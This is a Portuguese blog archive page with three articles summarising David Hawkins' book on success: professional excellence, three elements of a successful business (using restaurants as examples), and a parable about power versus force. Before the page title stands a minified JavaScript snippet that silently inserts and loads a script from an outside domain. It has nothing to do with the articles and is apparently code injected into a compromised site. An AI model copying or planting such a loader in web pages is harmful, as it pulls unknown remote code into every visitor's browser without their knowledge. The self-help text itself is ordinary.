;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de sucesso real - David Hawkins Brasil

Tag: sucesso real

Categorias
David Hawkins

3 Características da Excelência Profissional

Excelencia Profissional

No artigo de hoje continuaremos aprofundando o livro O Sucesso É Para Você, de Dr. David Hawkins. No artigo anterior discutimos 3 elementos fundamentais para um negócio de sucesso. Hoje, falaremos sobre como alcançar a excelência profissional.

Nessa obra, Hawkins utiliza sua experiência prévia como empresário, médico e psiquiatra dono da maior clínica de saúde mental dos EUA, em Nova Iorque.

Característica da excelência profissional: Compromisso

Dr. Hawkins coloca a “excelência” como algo que não pode ser imitado.

Sermos excelentes, na vida pessoal ou profissional, é uma consequência natural do compromisso que firmamos com a excelência. Essa afirmação pode parecer óbvia, porém é fundamental. A excelência só se torna possível a partir do momento em que nos comprometemos a entregar somente excelência — nada menos do que isso.

Primeiro vem o compromisso, depois o resultado.

Característica da excelência profissional: Criatividade

Quando observamos alguém que é excelente no que faz, logo pensamos que aquela pessoa tem uma genialidade ou criatividade inatas. A partir daí surgem muitos mitos, como “Eu não sou criativo” ou “Eu não sou tão genial assim”.

Dr. Hawkins explica que a criatividade ou genialidade são naturais do lado direito do cérebro. Se você tem um cérebro, você tem criatividade — mesmo que não se considere alguém criativo.

Segundo ele, uma pessoa verdadeiramente criativa é aquela que tem atitudes de cuidado, compartilhamento, amor, participação e imaginação de como a experiência de outra pessoa pode ser.

Se na sua profissão você for empático e se colocar no lugar do cliente, do usuário do serviço ou produto, você naturalmente terá ideias de como melhorar a experiência. Tudo começa na intenção genuína de servir o outro e criar a melhor experiência possível!

Característica da excelência profissional: Humanidade

Ao longo da obra O Sucesso É Para Você, Dr. David Hawkins enfatiza que só existe um consumidor: a natureza humana.

Ele destaca que todas as pessoas verdadeiramente de sucesso focam em atender as necessidades humanas, isto é, as necessidades dos compradores de seus serviços ou produtos.

O que importa não é o segmento em que você atua. É claro que cada segmento possui suas peculiaridades, mas o consumidor será sempre o mesmo, que é a própria natureza humana.

A razão pela qual compramos qualquer coisa é porque esse produto ou serviço atrai algo em nossa natureza humana. Hawkins nos diz que a excelência na profissão e nos negócios vem do reconhecimento da verdade daquilo que é universal.

O que importa são as necessidades humanas, como a necessidade de reconhecimento, importância, celebração, cuidado, pertencimento, entre outras.

Dr. David Hawkins explica que o sucesso que ocorre naturalmente quando despertamos o melhor de nós. Não é algo a ser “alcançado” ou “buscado lá fora”, mas sim algo a ser desperto.

Conclusão

A excelência profissional é, portanto, uma consequência de características intrínsecas nossas. Basta nos conectarmos com o nosso lado humano e assim, consequentemente, atenderemos as necessidades de nossos clientes e consumidores. Para Hawkins, essa é a “receita” do sucesso.

Acesse a página do livro O Sucesso É Para Você para conferir o conteúdo completo e aprofundar ainda mais a sua excelência profissional.

Categorias
David Hawkins

3 Elementos Fundamentais para um Negócio de Sucesso

Negócio de Sucesso

Que tal investigar 3 elementos que todo negócio de sucesso precisa ter?

Este artigo faz parte de uma série com base no livro O Sucesso É Para Você, de Dr. David R. Hawkins, M.D., Ph.D.

No artigo anterior desta série, nós examinamos as barreiras para o sucesso e vimos o que impede um empreendimento de se desenvolver e prosperar.

Hoje, vamos mais uma vez utilizar os restaurantes como exemplos.

Como já foi mencionado no artigo anterior, restaurantes são negócios com os quais todos nós estamos familiarizados, e isso facilita a análise do sucesso.

Analisaremos 3 questões igualmente importantes:

  1. primeira impressão;
  2. personalidade;
  3. conveniência.

Vamos lá?

Negócio de Sucesso: a primeira impressão 

Buscando compreender o que forma um negócio de sucesso, Dr. Hawkins nos lembra que a primeira impressão causada influencia muito a nossa expectativa e contribui para moldar toda a experiência que teremos com aquela marca.

No caso de um restaurante, se já na entrada presenciamos algo nojento, isso certamente nos deixará com menos fome e terá um efeito negativo na nossa opinião sobre o estabelecimento.

Já que a expectativa do consumidor é um ponto crítico, Hawkins sugere uma reflexão: “as pessoas estão ansiando ou temendo o próximo encontro conosco?”.

Evidentemente, esse cenário não diz respeito só aos primeiros minutos de contato, mas sim à primeira experiência como um todo. 

Se passamos na frente de um restaurante e o cardápio — ou até mesmo o cheiro — chamou nossa atenção positivamente, isso criou uma expectativa positiva. Nesse momento, é fundamental que o próximo passo reforce a impressão positiva ao invés de frustrar essa nossa expectativa.

Ao nos depararmos com uma recepcionista antipática, por exemplo, a percepção inicial que era positiva pode se transformar em algo negativo.

Lembrete importante: diminua o tempo de espera do atendimento

Outro ponto fundamental aqui é a espera, que deve sempre ser curta.

Quanto mais tempo as pessoas esperam pelo atendimento, mais a primeira impressão vai se transformando em algo negativo. A partir daí, o cliente tende a notar muito mais os pontos desfavoráveis da experiência.

Negócio de Sucesso: a personalidade

O segundo elemento fundamental de um negócio de sucesso é a personalidade.

As pessoas gostam de ser tratadas como seres humanos e de perceber que nos importamos com elas. A partir do momento em que esquecemos esse lado humano, os clientes começam a ficar insatisfeitos.

Algumas empresas preocupam-se demais com os processos, focam em tornar as “engrenagens” do negócio perfeitas, mas esquecem-se de inserir o fator “cuidado”.

Quando os clientes são verdadeiramente cuidados e tratados com o coração, eles não se importarão se você cometer algum erro ou se houver alguma imperfeição no seu serviço. Afinal, as imperfeições nos tornam humanos também, não é mesmo?

É importante evitar que o negócio — e principalmente os colaboradores responsáveis pelo atendimento — se tornem mecânicos, insensíveis ou superficiais.

Ao invés disso, as relações devem ser baseadas na “presença”.

A qualidade da presença, ou seja, de se importar e estar realmente atento, é o que faz os clientes voltarem. No fundo, todas as pessoas querem ser tratadas como realeza e nós podemos fazer isso por elas usando o poder do coração!

Negócio de Sucesso: a conveniência

O terceiro elemento que trazemos hoje sobre um negócio de sucesso é a conveniência.

Nada mais triste em se tratando de negócios do que um restaurante que falha nos pontos mais óbvios, como: ter bons banheiros disponíveis, ter nosso refrigerante favorito à venda, disponibilizar molhos básicos, entre outros pontos.

Conveniência significa facilitar a vida das pessoas — mesmo que para isso os donos do negócio tenham que sair um pouco da zona de conforto 

O mais interessante é que, quando se trata de conveniência, os próprios clientes vão dizer o que eles precisam.

Preste atenção nas coisas que você mais ouve dos seus clientes, dos seus colegas ou do seu chefe. Você tem em mãos os pontos mais importantes a serem seguidos e implementados!

Um exemplo incrível do próprio Dr. David Hawkins é que quando ele tinha uma clinica de saúde mental em Nova Iorque, ele chegou a ter 10 linhas telefônicas para atender chamadas!

No momento em que alguém dizia que estava com dificuldade em falar com ele (na época era comum as linhas darem sinal de ocupado), Hawkins imediatamente colocava outra linha telefônica.

Lembrete importante: inove, mas não deixe de fazer o básico

Muitos empreendimentos erram em oferecer apenas opções muito inovadoras, diferentes ou sofisticadas. Por exemplo, oferecem um tempero de salada exótico, mas esquecem do bom e velho vinagre.

Portanto, vale a pena ficar atento à conveniência e à facilidade de atender necessidades corriqueiras. Fazer o básico muito bem feito também fideliza clientes.

Um Negócio de Sucesso é para você

Ao longo de 242 páginas em um tom bastante divertido, Dr. David Hawkins nos mostra que todos nós podemos ter um negócio de sucesso se observarmos alguns princípios universais e algumas boas práticas. Por isso, fica nosso convite para que você aprofunde o assunto através do livro O Sucesso É Para Você. Ótima leitura!

Categorias
David Hawkins

O Sucesso Real e as Bananas

Sucesso Real

Se você está acompanhando nossos artigos sobre o livro “O Sucesso é para Você” deve estar se perguntando: sucesso real e bananas, o que um tem a ver com o outro?

As bananas e macacos vão nos ajudar a começar compreender o raciocínio do Dr. David Hawkins a respeito do sucesso real.

Sucesso Real – O momento “ahá”

Pois é através de um experimento com macacos presos em uma jaula que podemos aprender muito sobre o momento “ahá”.

Um macaco preso via uma banana fora da jaula e se esforçava grandemente para alcançá-la através das grades, sem conseguir. Até o momento em que ele percebeu que às costas dele, havia na jaula uma porta aberta. Bastava ele sair da jaula e pegar a banana. Ahá!

O sucesso se manifestou e a partir dali, todas as bananas poderiam ser dele.

Quando a ficha cai e compreendemos algo o sucesso é automático, é a manifestação daquilo que já aconteceu e foi compreendido. A solução fora da jaula já existia, mas faltava ser percebida, compreendida e materializada pelo macaco.

Isso nos leva ao fato de que a solução é interna, dependia apenas do macaco se dar conta de que ela estava lá. Ela não era externa.

Fama, sucesso e felicidade não vêm do esforço. Se a força determinasse o sucesso, muitos o teriam. É preciso distinguir o poder da força.

Força e Poder, qual é a diferença entre eles?

Adolf Hitler acreditava na força e, por um período, obteve sucesso em suas ações. Contudo, insano, se suicidou. A força criou a ilusão do sucesso para ele por um determinado tempo.

Poder é algo que possuímos dentro de nós.

Ainda pegando o exemplo da Segunda Guerra Mundial, Winston Churchill foi capaz de catalisar o povo britânico e isso é o poder manifestado. Diante disso, a força de Hitler colide com esse poder de Churchill.

“Quando a força encontra o poder, a força sempre perde.” (Dr. David Hawkins)

O sucesso geralmente é visto como o resultado de ações, ou seja, daquilo que está fora, dos efeitos e é isso que o mundo sente inveja, do que está fora.

Se pensarmos em causa e efeito, a causa é o poder porque é interno.  O sucesso reconhece e se relaciona com “aqui dentro” e não com o “lá fora”. E, o que mais observamos é a busca do sucesso através da imitação da “consequência” e não da manifestação daquilo que é interno.

Mais um exemplo: um especialista em karatê não sai na rua buscando briga. Se acontece, ele busca sempre amenizar a situação com leveza para que a briga não ocorra. Por saber, ele evita o confronto porque isso faz parte de sua essência.

A alegria é o termômetro do sucesso real

Quando você está executando um trabalho, manifestando uma ideia, tocando um projeto novo, você faz com alegria? Se cansa facilmente? Talvez esses sejam ótimos indicativos para verificar suas chances de sucesso.

“Quando inventamos um produto melhor, o mundo bate à nossa porta. Não é preciso se matar de pensar.” (Dr. David Hawkins)

Existe alegria em se descobrir que já se sabia aquilo, quando se reconhece o que é interior.

Na história do homem que começou a dançar, citado no artigo anterior, o ‘momento ahá’ é quando ele descobre que podia e sabia dançar. Sabia, mas não sabia que sabia. A dança fluiu porque os lados esquerdo e direito do cérebro se conectaram e a atividade da dança passou a ser alegre, simples, fluida, como se sempre tivesse feito isso.

No mundo do sucesso real não existe competição

Quando alguém alcança o sucesso, não existe competição, não é preciso se preocupar ou esforçar para que o sucesso venha, ele acontece naturalmente:

  • O dono do melhor restaurante tem filas na porta
  • O melhor mecânico da cidade não tem problemas de trabalho

Em seu livro “O Sucesso é para Você” Dr. Hawkins elucida seus conceitos e ideias através de vários exemplos. Em um deles, ela fala sobre um garçom que ganhava 100 mil dólares ao ano e possuía uma limusine. O sucesso dele estava em dois fatores:

  • Conhecia bem as técnicas de sua profissão
  • Tratava os clientes como se todos fossem da realeza

Ou seja, tinha a técnica, atitude, energia e motivação que vinham do poder, do “saber interno” que se manifestava na excelência com que exercia sua função. O dinheiro chegou até ele como consequência.

Então, qual o segredo do sucesso?

“O segredo de todas as pessoas de sucesso é que elas têm ‘algo’.” (Dr. David Hawkins)

Durante os próximos artigos sobre o livro  “O Sucesso é para Você” vamos compreender mais sobre esse ‘algo’.

Podemos dizer que:

  • Algumas pessoas têm esse algo e nem sabem que têm, estão inconscientes,
  • Não sabem explicar porque executam seus talentos com maestria, apenas fazem porque isso faz parte delas,
  • Essa é apenas a maneira delas serem.

Segundo Dr. Hawkins, ao nos esforçarmos para ‘pegarmos as bananas através das grades’, deixamos de olhar o que realmente pode nos levar ao sucesso: a porta aberta e completamente acessível atrás de nós.